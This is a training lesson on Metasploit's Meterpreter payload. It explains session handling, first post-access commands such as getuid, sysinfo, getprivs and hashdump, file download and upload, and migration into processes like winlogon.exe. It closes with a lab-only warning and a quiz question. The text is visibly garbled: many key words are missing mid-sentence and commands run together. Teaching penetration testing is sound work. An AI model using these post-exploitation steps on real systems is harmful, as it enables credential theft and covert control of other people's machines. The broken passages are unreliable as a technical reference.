Meterpreter
The payload that turns a shell into a workstation you fully control.
What you will learn
- -Explain what Meterpreter is and why it beats a raw shell
- -Manage multiple sessions from one console
- -Run the post-access commands you reach for first
The lands and you see meterpreter >. That prompt is worth more than a plain $. Meterpreter is Metasploit's own , an in-memory agent that runs inside the exploited process and speaks an encrypted back to your console. It never touches disk as a file, and it gives you file transfer, screenshots, dumping, and pivoting from one interface.
Compare that to a netcat , which is just a raw command prompt piped over . That plain shell drops if the connection hiccups, has no upload command, and paints your commands in cleartext across the wire. Meterpreter fixes all three. When you have a choice of payload, choose Meterpreter.
Sessions are your inventory
Every successful callback becomes a numbered session. You can hold several at once, drop back to the console to launch another attack, and jump between them freely. That is why background matters: it parks the current Meterpreter without killing it and returns you to the msf6 prompt.
$background$sessions$sessions -i 2$sessions -k 3The first five minutes on a box
Once you're in, a short routine tells you who you are and what you can do. Run these in order and you'll know your footing before you touch anything sensitive.
- getuid prints the account you're running as.
NT AUTHORITY\SYSTEMmeans you already own the box; a means you have escalation work to do. - sysinfo gives the OS, build, and architecture, which decides what escalation exploits apply.
- getprivs lists the privileges your holds, like
SeImpersonatePrivilege, a direct path to . - pwd and ls orient you in the filesystem so you know where you landed.
$getuid$sysinfo$ps$hashdumpMoving files and yourself
Meterpreter has built-in file transfer, so you never juggle a Python just to pull one file. download grabs a file to your Kali box, upload pushes one to the target, and shell drops you into a native or bash when you need a tool Meterpreter doesn't wrap.
If your session is running inside a fragile process, like a browser that might close, migrate into something stable such as explorer.exe or winlogon.exe. Find a target PID with ps, then migrate 1084. Do this early, because losing the process means losing the session.
$download C:\\Users\\admin\\Desktop\\creds.txt$upload /usr/bin/winpeas.exe C:\\Windows\\Temp\\wp.exe$migrate 1084$shellMigrating processes, dumping hashes, and reading a user's files are intrusive actions with real on a real person's machine. Run them only on lab VMs, CTF boxes, or covered by a written engagement . Treat any credential you pull as sensitive data you are responsible for.
You're in a Meterpreter session and want to launch a second exploit at a different host without losing this one. What do you type first?